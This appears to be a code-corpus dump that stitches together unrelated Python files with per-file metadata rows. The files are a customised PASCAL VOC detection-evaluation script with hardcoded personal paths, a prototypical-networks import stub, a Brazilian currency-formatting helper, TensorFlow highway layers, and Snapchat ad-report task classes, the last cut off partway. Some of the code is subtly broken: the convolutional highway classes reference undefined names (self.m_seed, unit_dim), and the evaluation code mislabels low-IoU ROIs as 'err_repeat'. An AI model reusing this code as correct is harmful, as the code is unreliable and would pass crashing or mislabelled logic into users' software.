det_results[image_ids[d]]['det']['result_info'].append('err_lowIoU') det_results[image_ids[d]]['det']['overlap'].append(ovmax) # v3.0 # zhbli(3): write false negative info if d < npos: fp_table[fp_idx] = [[image_ids[d], classname, 'err_lowIoU'] + bb.tolist(), BBGT.tolist(), -sorted_scores[d].tolist()] fp_table_rois[fp_idx] = [[image_ids[d], classname, 'err_repeat'] + roi.tolist(), BBGT.tolist(), -sorted_scores[d].tolist()] fp_idx = fp_idx + 1 # zhbli(4): write false negative info pickle.dump(fp_table, false_positive_file) pickle.dump(fp_table_rois, false_positive_rois_file) false_positive_file.close() false_positive_rois_file.close() file = open('/home/zhbli/temp/fp_im_name.txt', 'w') file.write(str(fp_img)) file.close() # v3.1 if not os.path.exists('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det'): os.mkdir('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det') if not os.path.exists('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det/{:s}'.format(classname)): os.mkdir('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det/{:s}'.format(classname)) # no missed, no fp if not os.path.exists('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det/{:s}/false_positive'.format(classname)): os.mkdir('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det/{:s}/false_positive'.format(classname)) # no gt, fp if not os.path.exists('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det/{:s}/missed_gt'.format(classname)): os.mkdir('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det/{:s}/missed_gt'.format(classname)) # v3.1 # v3.0 for i in det_results: # for every img has_fp = 0 has_missed_gt = 0 img_name = i if not det_results.__contains__(img_name): continue gt_num = det_results[img_name]['gt']['bbox'].shape[0] det_num = det_results[img_name]['det']['bbox'].shape[0] if gt_num != 0 or det_num != 0: print('img: {:s}'.format(img_name)) im_file = '/data/zhbli/VOCdevkit/VOC2007/JPEGImages/%s.jpg' % img_name im = cv2.imread(im_file) im = im[:, :, (2, 1, 0)] fig, ax = plt.subplots(figsize=(12, 12)) ax.imshow(im, aspect='equal') else: continue # If the img has no gt and no det, will not save this img. if gt_num != 0: for j in range(gt_num): bbox = det_results[img_name]['gt']['bbox'][j] difficult = det_results[img_name]['gt']['difficult'][j] truncated = det_results[img_name]['gt']['truncated'][j] detected = det_results[img_name]['gt']['detected'][j] if detected == 1: # If the gt is found ax.add_patch( plt.Rectangle((bbox[0], bbox[1]), bbox[2] - bbox[0], bbox[3] - bbox[1], fill=False, edgecolor='blue', linewidth=1.5, linestyle='solid') ) ax.text(bbox[0], bbox[1] - 2, 'gt: difficult: {:d}, detected: {:d}, truncated: {:d}'.format(int(difficult), int(detected), int(truncated)), bbox=dict(facecolor='blue', alpha=0.5), fontsize=8, color='white') elif difficult == 0: # will not save difficult gt. has_missed_gt = 1 ax.add_patch( plt.Rectangle((bbox[0], bbox[1]), bbox[2] - bbox[0], bbox[3] - bbox[1], fill=False, edgecolor='yellow', linewidth=1.5, linestyle='solid') ) ax.text(bbox[0], bbox[1] - 2, 'gt: difficult: {:d}, detected: {:d}, truncated: {:d}'.format(int(difficult), int(detected), int(truncated)), bbox=dict(facecolor='yellow', alpha=0.5), fontsize=8, color='white') if det_num != 0: for j in range(det_num): bbox = det_results[img_name]['det']['bbox'][j] score = det_results[img_name]['det']['score'][j] result_info = det_results[img_name]['det']['result_info'][j] overlap = det_results[img_name]['det']['overlap'][j] if result_info == 'correct': ax.add_patch( plt.Rectangle((bbox[0], bbox[1]), bbox[2] - bbox[0], bbox[3] - bbox[1], fill=False, edgecolor='green', linewidth=1.5, linestyle='dashed')) ax.text(bbox[0], bbox[3], '{:s}, score={:f}, overlap={:f}'.format(result_info, score, overlap), bbox=dict(facecolor='green', alpha=0.5), fontsize=8, color='white') elif score > 0.5: has_fp = 1 ax.add_patch( plt.Rectangle((bbox[0], bbox[1]), bbox[2] - bbox[0], bbox[3] - bbox[1], fill=False, edgecolor='red', linewidth=1.5, linestyle='dashed') ) ax.text(bbox[0], bbox[3], '{:s}, score={:f}, overlap={:f}'.format(result_info, score, overlap), bbox=dict(facecolor='red', alpha=0.5), fontsize=8, color='white') ax.set_title('img_name: {:s}, class: {:s}'.format(img_name, classname), fontsize=14) plt.axis('off') plt.tight_layout() if has_fp: plt.savefig( '/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det/{:s}/false_positive/{:s}.jpg'.format( classname, img_name)) if has_missed_gt: plt.savefig( '/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn_err-det/{:s}/missed_gt/{:s}.jpg'.format( classname, img_name)) # v3.0 # compute precision recall fp = np.cumsum(fp) tp = np.cumsum(tp) rec = tp / float(npos) # avoid divide by zero in case the first detection matches a difficult # ground truth prec = tp / np.maximum(tp + fp, np.finfo(np.float64).eps) ap = voc_ap(rec, prec, use_07_metric) return rec, prec, ap def voc_eval(detpath, annopath, imagesetfile, classname, cachedir, ovthresh=0.5, use_07_metric=False, use_diff=False, roipath=''): """rec, prec, ap = voc_eval(detpath, annopath, imagesetfile, classname, [ovthresh], [use_07_metric]) Top level function that does the PASCAL VOC evaluation. detpath: Path to detections detpath.format(classname) should produce the detection results file. annopath: Path to annotations annopath.format(imagename) should be the xml annotations file. imagesetfile: Text file containing the list of images, one image per line. classname: Category name (duh) cachedir: Directory for caching the annotations [ovthresh]: Overlap threshold (default = 0.5) [use_07_metric]: Whether to use VOC07's 11 point AP computation (default False) """ # assumes detections are in detpath.format(classname) # assumes annotations are in annopath.format(imagename) # assumes imagesetfile is a text file with each line an image name # cachedir caches the annotations in a pickle file # first load gt if not os.path.isdir(cachedir): os.mkdir(cachedir) cachefile = os.path.join(cachedir, '%s_annots.pkl' % imagesetfile) # read list of images with open(imagesetfile, 'r') as f: lines = f.readlines() imagenames = [x.strip() for x in lines] if not os.path.isfile(cachefile): # load annotations recs = {} for i, imagename in enumerate(imagenames): recs[imagename] = parse_rec(annopath.format(imagename)) if i % 100 == 0: print('Reading annotation for {:d}/{:d}'.format( i + 1, len(imagenames))) # save print('Saving cached annotations to {:s}'.format(cachefile)) with open(cachefile, 'wb') as f: pickle.dump(recs, f) else: # load with open(cachefile, 'rb') as f: try: recs = pickle.load(f) except: recs = pickle.load(f, encoding='bytes') # v3.0 det_results = {} # v3.0 # extract gt objects for this class class_recs = {} npos = 0 for imagename in imagenames: R = [obj for obj in recs[imagename] if obj['name'] == classname] bbox = np.array([x['bbox'] for x in R]) truncated = np.array([x['truncated'] for x in R]).astype(np.bool) if use_diff: difficult = np.array([False for x in R]).astype(np.bool) else: difficult = np.array([x['difficult'] for x in R]).astype(np.bool) det = [False] * len(R) npos = npos + sum(~difficult) class_recs[imagename] = {'bbox': bbox, 'difficult': difficult, 'det': det} # v3.0 det_results[imagename] = {} det_results[imagename]['gt'] = {} det_results[imagename]['det'] = {} det_results[imagename]['det']['bbox'] = np.zeros([0,4]) det_results[imagename]['det']['score'] = [] det_results[imagename]['det']['result_info'] = [] det_results[imagename]['det']['overlap'] = [] det_results[imagename]['gt']['bbox'] = bbox det_results[imagename]['gt']['difficult'] = difficult det_results[imagename]['gt']['truncated'] = truncated det_results[imagename]['gt']['detected'] = det # v3.0 # read dets detfile = detpath.format(classname) roifile = roipath.format(classname) with open(detfile, 'r') as f: lines = f.readlines() with open(roifile, 'r') as f: lines_rois = f.readlines() splitlines = [x.strip().split(' ') for x in lines] splitlines_rois = [x.strip().split(' ') for x in lines_rois] image_ids = [x[0] for x in splitlines] confidence = np.array([float(x[1]) for x in splitlines]) BB = np.array([[float(z) for z in x[2:]] for x in splitlines]) rois = np.array([[float(z) for z in x[2:]] for x in splitlines_rois]) nd = len(image_ids) tp = np.zeros(nd) fp = np.zeros(nd) #zhbli(1): write false negative info false_positive_file_name = 'output/%s_false_positive.txt' % (classname) false_positive_rois_file_name = 'output/%s_false_positive_rois.txt' % (classname) false_positive_file = open(false_positive_file_name, 'wb') false_positive_rois_file = open(false_positive_rois_file_name, 'wb') fp_table = [[] for i in range(npos)] fp_table_rois = [[] for i in range(npos)] fp_idx = 0 if BB.shape[0] > 0: # sort by confidence sorted_ind = np.argsort(-confidence) sorted_scores = np.sort(-confidence) BB = BB[sorted_ind, :] rois = rois[sorted_ind, :] image_ids = [image_ids[x] for x in sorted_ind] # go down dets and mark TPs and FPs for d in range(nd): R = class_recs[image_ids[d]] bb = BB[d, :].astype(float) roi = rois[d, :].astype(float) ovmax = -np.inf BBGT = R['bbox'].astype(float) if BBGT.size > 0: # compute overlaps # intersection ixmin = np.maximum(BBGT[:, 0], bb[0]) iymin = np.maximum(BBGT[:, 1], bb[1]) ixmax = np.minimum(BBGT[:, 2], bb[2]) iymax = np.minimum(BBGT[:, 3], bb[3]) iw = np.maximum(ixmax - ixmin + 1., 0.) ih = np.maximum(iymax - iymin + 1., 0.) inters = iw * ih # union uni = ((bb[2] - bb[0] + 1.) * (bb[3] - bb[1] + 1.) + (BBGT[:, 2] - BBGT[:, 0] + 1.) * (BBGT[:, 3] - BBGT[:, 1] + 1.) - inters) overlaps = inters / uni ovmax = np.max(overlaps) jmax = np.argmax(overlaps) if ovmax > ovthresh: if not R['difficult'][jmax]: if not R['det'][jmax]: tp[d] = 1. R['det'][jmax] = 1 # v3.0 det_results[image_ids[d]]['gt']['detected'][jmax] = 1 # the jmax'th gt is detected. det_results[image_ids[d]]['det']['bbox'] = np.append(det_results[image_ids[d]]['det']['bbox'], np.expand_dims(bb, 0), axis=0) det_results[image_ids[d]]['det']['score'].append(-sorted_scores[d]) det_results[image_ids[d]]['det']['result_info'].append('correct') det_results[image_ids[d]]['det']['overlap'].append(ovmax) # v3.0 else: fp[d] = 1. # v3.0 if -sorted_scores[d] > 0.1: det_results[image_ids[d]]['det']['bbox'] = np.append(det_results[image_ids[d]]['det']['bbox'], np.expand_dims(bb, 0), axis=0) det_results[image_ids[d]]['det']['score'].append(-sorted_scores[d]) det_results[image_ids[d]]['det']['result_info'].append('err_repeat') det_results[image_ids[d]]['det']['overlap'].append(ovmax) # v3.0 #zhbli(2): write false negative info if d < npos: fp_table[fp_idx] = [[image_ids[d], classname, 'err_repeat'] + bb.tolist(), BBGT.tolist(), -sorted_scores[d].tolist()] fp_table_rois[fp_idx] = [[image_ids[d], classname, 'err_repeat'] + roi.tolist(), BBGT.tolist(), -sorted_scores[d].tolist()] fp_idx = fp_idx + 1 else: fp[d] = 1. # v3.0 if -sorted_scores[d] > 0.1: det_results[image_ids[d]]['det']['bbox'] = np.append(det_results[image_ids[d]]['det']['bbox'], np.expand_dims(bb, 0), axis=0) det_results[image_ids[d]]['det']['score'].append(-sorted_scores[d]) det_results[image_ids[d]]['det']['result_info'].append('err_lowIoU') det_results[image_ids[d]]['det']['overlap'].append(ovmax) # v3.0 # zhbli(3): write false negative info if d < npos: fp_table[fp_idx] = [[image_ids[d], classname, 'err_lowIoU'] + bb.tolist(), BBGT.tolist(), -sorted_scores[d].tolist()] fp_table_rois[fp_idx] = [[image_ids[d], classname, 'err_repeat'] + roi.tolist(), BBGT.tolist(), -sorted_scores[d].tolist()] fp_idx = fp_idx + 1 # zhbli(4): write false negative info pickle.dump(fp_table, false_positive_file) pickle.dump(fp_table_rois, false_positive_rois_file) false_positive_file.close() false_positive_rois_file.close() # v3.1 if not os.path.exists('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}'.format(classname)): os.mkdir('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}'.format(classname)) # no missed, no fp if not os.path.exists('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}/correct'.format(classname)): os.mkdir('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}/correct'.format(classname)) # no gt, fp if not os.path.exists('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}/no_gt_fp'.format(classname)): os.mkdir('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}/no_gt_fp'.format(classname)) # other if not os.path.exists('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}/other'.format(classname)): os.mkdir('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}/other'.format(classname)) # v3.1 # v3.0 for i in det_results: # for every img img_name = i gt_num = det_results[img_name]['gt']['bbox'].shape[0] det_num = det_results[img_name]['det']['bbox'].shape[0] if gt_num != 0 or det_num != 0: print('saving img: {:s}'.format(img_name)) im_file = '/data/zhbli/VOCdevkit/VOC2007/JPEGImages/%s.jpg' % img_name im = cv2.imread(im_file) im = im[:, :, (2, 1, 0)] fig, ax = plt.subplots(figsize=(12, 12)) ax.imshow(im, aspect='equal') else: continue # If the img has no gt and no det, will not save this img. if gt_num != 0: for j in range(gt_num): bbox = det_results[img_name]['gt']['bbox'][j] difficult = det_results[img_name]['gt']['difficult'][j] truncated = det_results[img_name]['gt']['truncated'][j] detected = det_results[img_name]['gt']['detected'][j] if detected == 1: # If the gt is found ax.add_patch( plt.Rectangle((bbox[0], bbox[1]), bbox[2] - bbox[0], bbox[3] - bbox[1], fill=False, edgecolor='blue', linewidth=1.5, linestyle='solid') ) ax.text(bbox[0], bbox[1] - 2, 'gt: difficult: {:d}, detected: {:d}, truncated: {:d}'.format(int(difficult), int(detected), int(truncated)), bbox=dict(facecolor='blue', alpha=0.5), fontsize=8, color='white') else: ax.add_patch( plt.Rectangle((bbox[0], bbox[1]), bbox[2] - bbox[0], bbox[3] - bbox[1], fill=False, edgecolor='yellow', linewidth=1.5, linestyle='solid') ) ax.text(bbox[0], bbox[1] - 2, 'gt: difficult: {:d}, detected: {:d}, truncated: {:d}'.format(int(difficult), int(detected), int(truncated)), bbox=dict(facecolor='yellow', alpha=0.5), fontsize=8, color='white') if det_num != 0: for j in range(det_num): bbox = det_results[img_name]['det']['bbox'][j] score = det_results[img_name]['det']['score'][j] result_info = det_results[img_name]['det']['result_info'][j] overlap = det_results[img_name]['det']['overlap'][j] if result_info == 'correct': ax.add_patch( plt.Rectangle((bbox[0], bbox[1]), bbox[2] - bbox[0], bbox[3] - bbox[1], fill=False, edgecolor='green', linewidth=1.5, linestyle='dashed')) ax.text(bbox[0], bbox[3], '{:s}, score={:f}, overlap={:f}'.format(result_info, score, overlap), bbox=dict(facecolor='green', alpha=0.5), fontsize=8, color='white') else: ax.add_patch( plt.Rectangle((bbox[0], bbox[1]), bbox[2] - bbox[0], bbox[3] - bbox[1], fill=False, edgecolor='red', linewidth=1.5, linestyle='dashed') ) ax.text(bbox[0], bbox[3], '{:s}, score={:f}, overlap={:f}'.format(result_info, score, overlap), bbox=dict(facecolor='red', alpha=0.5), fontsize=8, color='white') ax.set_title('img_name: {:s}, class: {:s}'.format(img_name, classname), fontsize=14) plt.axis('off') plt.tight_layout() if gt_num == 0: plt.savefig('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}/no_gt_fp/{:s}.jpg'.format(classname, img_name)) elif det_num != 0 and det_results[img_name]['det']['result_info'].count('correct')==len(det_results[img_name]['det']['result_info']) \ and det_results[img_name]['gt']['detected'].count(1) == len(det_results[img_name]['gt']['detected']): plt.savefig('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}/correct/{:s}.jpg'.format(classname, img_name)) else: plt.savefig('/data/zhbli/VOCdevkit/results/VOC2007/vgg16_faster-rcnn/{:s}/other/{:s}.jpg'.format(classname, img_name)) # v3.0 # compute precision recall fp = np.cumsum(fp) tp = np.cumsum(tp) rec = tp / float(npos) # avoid divide by zero in case the first detection matches a difficult # ground truth prec = tp / np.maximum(tp + fp, np.finfo(np.float64).eps) ap = voc_ap(rec, prec, use_07_metric) return rec, prec, ap
42.698499
140
0.519682
3,883
31,298
4.055112
0.092197
0.052712
0.025149
0.036581
0.869618
0.86803
0.856471
0.8512
0.849105
0.849105
0
0.025394
0.329382
31,298
732
141
42.756831
0.724808
0.094862
0
0.817844
0
0.009294
0.127325
0.062686
0
0
0
0
0
1
0.007435
false
0
0.016729
0
0.031599
0.013011
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
36845e14643856a839f8f0f036d4c1718c92378c
141
py
Python
protonets/models/__init__.py
lucast4/prototypical_networks
11b5c2e57250d90b0d87c2495502f0f1706591a2
[ "MIT" ]
null
null
null
protonets/models/__init__.py
lucast4/prototypical_networks
11b5c2e57250d90b0d87c2495502f0f1706591a2
[ "MIT" ]
null
null
null
protonets/models/__init__.py
lucast4/prototypical_networks
11b5c2e57250d90b0d87c2495502f0f1706591a2
[ "MIT" ]
1
2018-08-26T15:35:25.000Z
2018-08-26T15:35:25.000Z
from prototypical_networks.protonets.models.factory import get_model, register_model import prototypical_networks.protonets.models.few_shot
35.25
84
0.893617
18
141
6.722222
0.666667
0.330579
0.479339
0.578512
0
0
0
0
0
0
0
0
0.056738
141
3
85
47
0.909774
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
368f860d729982944928cd69bd80a316f8f6c987
550
py
Python
Desafios/Desafio109/moeda.py
julianascimentosantos/cursoemvideo-python3
34361c9c9cfa3d511257e51608168c1325deaa9e
[ "MIT" ]
null
null
null
Desafios/Desafio109/moeda.py
julianascimentosantos/cursoemvideo-python3
34361c9c9cfa3d511257e51608168c1325deaa9e
[ "MIT" ]
null
null
null
Desafios/Desafio109/moeda.py
julianascimentosantos/cursoemvideo-python3
34361c9c9cfa3d511257e51608168c1325deaa9e
[ "MIT" ]
null
null
null
def aumentar(preço, taxa, formato=False): res = preço + (preço * taxa/100) return res if formato is False else moeda(res) def diminuir(preço, taxa, formato=False): res = preço - (preço * taxa/100) return res if formato is False else moeda(res) def dobro(preço, formato=False): res = preço * 2 return res if not formato else moeda(res) def metade(preço, formato=False): res = preço / 2 return res if not formato else moeda(res) def moeda(valor, moeda='R$'): return f'{moeda}{valor:>8.2f}'.replace('.', ',')
23.913043
52
0.652727
84
550
4.27381
0.285714
0.100279
0.167131
0.222841
0.796657
0.796657
0.796657
0.796657
0.796657
0.796657
0
0.023148
0.214545
550
22
53
25
0.80787
0
0
0.285714
0
0
0.043636
0
0
0
0
0
0
1
0.357143
false
0
0
0.071429
0.714286
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
3695511b5e7fa17ef88ea3612673f387031128d6
9,944
py
Python
sequence_labeling/layer/highway.py
stevezheng23/sequence_labeling_tf
05fcbec15e359e3db86af6c3798c13be8a6c58ee
[ "Apache-2.0" ]
17
2019-02-27T06:49:30.000Z
2020-03-27T23:10:17.000Z
sequence_labeling/layer/highway.py
stevezheng23/sequence_labeling_tf
05fcbec15e359e3db86af6c3798c13be8a6c58ee
[ "Apache-2.0" ]
3
2019-07-29T08:11:25.000Z
2021-03-23T05:22:29.000Z
sequence_labeling/layer/highway.py
stevezheng23/sequence_labeling_tf
05fcbec15e359e3db86af6c3798c13be8a6c58ee
[ "Apache-2.0" ]
1
2020-07-18T15:07:04.000Z
2020-07-18T15:07:04.000Z
import numpy as np import tensorflow as tf from util.default_util import * from util.sequence_labeling_util import * from layer.basic import * __all__ = ["Highway", "ConvHighway", "StackedHighway", "StackedConvHighway"] class Highway(object): """highway layer""" def __init__(self, unit_dim, activation, dropout, num_gpus=1, default_gpu_id=0, regularizer=None, random_seed=0, trainable=True, scope="highway"): """initialize highway layer""" self.unit_dim = unit_dim self.activation = activation self.dropout = dropout self.regularizer = regularizer self.random_seed = random_seed self.trainable = trainable self.scope = scope self.device_spec = get_device_spec(default_gpu_id, num_gpus) with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): weight_initializer = create_variable_initializer("glorot_uniform", self.random_seed) bias_initializer = create_variable_initializer("zero") transform_activation = create_activation_function(self.activation) gate_activation = create_activation_function("sigmoid") self.transform_layer = tf.layers.Dense(units=self.unit_dim, activation=transform_activation, use_bias=True, kernel_initializer=weight_initializer, bias_initializer=bias_initializer, kernel_regularizer=self.regularizer, bias_regularizer=self.regularizer, trainable=self.trainable) self.gate_layer = tf.layers.Dense(units=self.unit_dim, activation=gate_activation, use_bias=True, kernel_initializer=weight_initializer, bias_initializer=bias_initializer, kernel_regularizer=self.regularizer, bias_regularizer=self.regularizer, trainable=self.trainable) self.dropout_layer = Dropout(rate=self.dropout, num_gpus=num_gpus, default_gpu_id=default_gpu_id, random_seed=self.random_seed) def __call__(self, input_data, input_mask): """call highway layer""" with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): transform, _ = self.dropout_layer(self.transform_layer(input_data), input_mask) gate = self.gate_layer(input_data) output_highway = transform * gate + input_data * (1 - gate) output_mask = input_mask return output_highway, output_mask class ConvHighway(object): """convolutional highway layer""" def __init__(self, num_filter, window_size, activation, dropout, num_gpus=1, default_gpu_id=0, regularizer=None, random_seed=0, trainable=True, scope="conv_highway"): """initialize convolutional highway layer""" self.num_filter = num_filter self.window_size = window_size self.activation = activation self.dropout = dropout self.regularizer = regularizer self.random_seed = random_seed self.trainable = trainable self.scope = scope self.device_spec = get_device_spec(default_gpu_id, num_gpus) with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): weight_initializer = create_variable_initializer("glorot_uniform", self.m_seed) bias_initializer = create_variable_initializer("zero") transform_activation = create_activation_function(self.activation) gate_activation = create_activation_function("sigmoid") self.transform_layer = tf.layers.Conv1D(filters=self.num_filter, kernel_size=window_size, strides=1, padding="SAME", activation=transform_activation, use_bias=True, kernel_initializer=weight_initializer, bias_initializer=bias_initializer, kernel_regularizer=self.regularizer, bias_regularizer=self.regularizer, trainable=trainable) self.gate_layer = tf.layers.Conv1D(filters=self.num_filter, kernel_size=window_size, strides=1, padding="SAME", activation=gate_activation, use_bias=True, kernel_initializer=weight_initializer, bias_initializer=bias_initializer, kernel_regularizer=self.regularizer, bias_regularizer=self.regularizer, trainable=trainable) self.dropout_layer = Dropout(rate=self.dropout, num_gpus=num_gpus, default_gpu_id=default_gpu_id, random_seed=self.random_seed) def __call__(self, input_data, input_mask): """call convolutional highway layer""" with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): transform, _ = self.dropout_layer(self.transform_layer(input_data), input_mask) gate = self.gate_layer(input_data) output_highway = transform * gate + input_data * (1 - gate) output_mask = input_mask return output_highway, output_mask class StackedHighway(object): """stacked highway layer""" def __init__(self, num_layer, unit_dim, activation, dropout, num_gpus=1, default_gpu_id=0, regularizer=None, random_seed=0, trainable=True, scope="stacked_highway"): """initialize stacked highway layer""" self.num_layer = num_layer self.unit_dim = unit_dim self.activation = activation self.dropout = dropout self.num_gpus = num_gpus self.default_gpu_id = default_gpu_id self.regularizer = regularizer self.random_seed = random_seed self.trainable = trainable self.scope = scope self.device_spec = get_device_spec(default_gpu_id, num_gpus) with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): self.highway_layer_list = [] for i in range(self.num_layer): layer_scope = "layer_{0}".format(i) sublayer_dropout = self.dropout[i] if self.dropout != None else 0.0 highway_layer = Highway(unit_dim=self.unit_dim, activation=self.activation, dropout=sublayer_dropout, num_gpus=self.num_gpus, default_gpu_id=self.default_gpu_id, regularizer=self.regularizer, random_seed=self.random_seed, trainable=self.trainable, scope=layer_scope) self.highway_layer_list.append(highway_layer) def __call__(self, input_data, input_mask): """call stacked highway layer""" with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): input_highway = input_data input_highway_mask = input_mask for highway_layer in self.highway_layer_list: input_highway, input_highway_mask = highway_layer(input_highway, input_highway_mask) output_highway = input_highway output_mask = input_highway_mask return output_highway, output_mask class StackedConvHighway(object): """stacked convolution highway layer""" def __init__(self, num_layer, num_filter, window_size, activation, dropout, num_gpus=1, default_gpu_id=0, regularizer=None, random_seed=0, trainable=True, scope="stacked_conv_highway"): """initialize stacked convolution highway layer""" self.num_layer = num_layer self.num_filter = num_filter self.unit_dim = unit_dim self.window_size = window_size self.dropout = dropout self.num_gpus = num_gpus self.default_gpu_id = default_gpu_id self.regularizer = regularizer self.random_seed = random_seed self.trainable = trainable self.scope = scope self.device_spec = get_device_spec(default_gpu_id, num_gpus) with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): self.highway_layer_list = [] for i in range(self.num_layer): layer_scope = "layer_{0}".format(i) sublayer_dropout = self.dropout[i] if self.dropout != None else 0.0 highway_layer = ConvHighway(num_filter=self.num_filter, window_size=self.window_size, activation=self.activation, dropout=sublayer_dropout, num_gpus=self.num_gpus, default_gpu_id=self.default_gpu_id, regularizer=self.regularizer, random_seed=self.random_seed, trainable=self.trainable, scope=layer_scope) self.highway_layer_list.append(highway_layer) def __call__(self, input_data, input_mask): """call stacked convolution highway layer""" with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec): input_highway = input_data input_highway_mask = input_mask for highway_layer in self.highway_layer_list: input_highway, input_highway_mask = highway_layer(input_highway, input_highway_mask) output_highway = input_highway output_mask = input_highway_mask return output_highway, output_mask
45.406393
134
0.627011
1,093
9,944
5.36871
0.086002
0.05317
0.0409
0.025903
0.914451
0.906612
0.891445
0.870995
0.860259
0.850886
0
0.003428
0.295857
9,944
218
135
45.614679
0.834619
0.035901
0
0.855556
0
0
0.018896
0
0
0
0
0
0
1
0.044444
false
0
0.027778
0
0.116667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
36c744d4c7bc7883b6802d3153b11c0dfb73879f
10,638
py
Python
tasks/tasks_fetch_snapchat.py
xyla-io/almacen
7b7f235dc7939777f971f1b5eadd5621e980c15e
[ "MIT" ]
2
2020-10-15T22:12:17.000Z
2020-10-26T07:17:17.000Z
tasks/tasks_fetch_snapchat.py
xyla-io/almacen
7b7f235dc7939777f971f1b5eadd5621e980c15e
[ "MIT" ]
null
null
null
tasks/tasks_fetch_snapchat.py
xyla-io/almacen
7b7f235dc7939777f971f1b5eadd5621e980c15e
[ "MIT" ]
null
null
null
import models import sys, os from . import base from . import tasks_fetch_entity from azrael import SnapchatAPI from typing import Dict, List, Optional class FetchSnapchatReportTask(base.FetchReportTask): api: Optional[SnapchatAPI] campaigns: List[Dict[str, any]] = [] ad_squads: List[Dict[str, any]] = [] ads: List[Dict[str, any]] = [] @property def debug_description(self) -> str: return '{}: {} ({}) — {}'.format( self.company_display_name, self.app_display_name, self.ad_account_id, self.task_type.value, ) @property def ad_account_id(self) -> int: return self.task_set.config['ad_account_id'] @property def app_display_name(self) -> Optional[str]: assert len(self.task_set.products) == 1 return self.task_set.products[0].display_name @property def task_identifier_columns(self) -> Dict[str, any]: return { 'ad_account_id': self.ad_account_id, } @property def view_attribution_window(self) -> Optional[str]: config = self.task_set.config return config['view_attribution_window'] if 'view_attribution_window' in config else None @property def swipe_up_attribution_window(self) -> Optional[str]: config = self.task_set.config return config['swipe_up_attribution_window'] if 'swipe_up_attribution_window' in config else None class FetchSnapchatCampaignsReportTask(FetchSnapchatReportTask, tasks_fetch_entity.FetchCampaignReportTask): @property def task_type(self) -> models.ReportTaskType: return models.ReportTaskType.fetch_snapchat_campaigns @property def report_table_model(self) -> models.ReportTableModel: return models.SnapchatCampaignReportTableModel(schema_name=self.report_table_schema) @property def latest_value_mutation_specifiers(self) -> List[Dict[str, any]]: return [ tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='campaign_id', source_value_column='campaign_name', target_value_column='latest_campaign_name' ), ] @property def parse_tags_mutation_specifier(self) -> Optional[tasks_fetch_entity.ParseTagsMutationSpecifier]: return tasks_fetch_entity.ParseTagsMutationSpecifier( parser=tasks_fetch_entity.ParseTagsMutationSpecifier.task_parser_name(self), channel='snapchat', entity='campaign', name_column='campaign_name', id_column='campaign_id' ) @property def fetched_currency_column(self) -> str: return 'account_currency' @property def money_columns(self) -> List[str]: return [ 'spend', 'campaign_daily_budget', 'campaign_lifetime_spend_cap', ] @property def default_fetch_columns(self) -> List[str]: return [ 'impressions', 'swipes', 'screen_time_millis', 'quartile_1', 'quartile_2', 'quartile_3', 'view_completion', 'spend', 'video_views', 'frequency', 'uniques', 'swipe_up_percent' ] class FetchSnapchatAdSquadsReportTask(FetchSnapchatReportTask, tasks_fetch_entity.FetchCampaignReportTask): @property def task_type(self) -> models.ReportTaskType: return models.ReportTaskType.fetch_snapchat_adsquads @property def report_table_model(self) -> models.ReportTableModel: return models.SnapchatAdSquadReportTableModel(schema_name=self.report_table_schema) @property def latest_value_mutation_specifiers(self) -> List[Dict[str, any]]: return [ tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='campaign_id', source_value_column='campaign_name', target_value_column='latest_campaign_name' ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_name', target_value_column='latest_ad_squad_name' ), tasks_fetch_entity.LatestValueMutationSpecifier( identifier_column='ad_squad_id', source_value_column='ad_squad_name', target_value_column='ad_squad_name', only_missing_values=[None, ''] ), 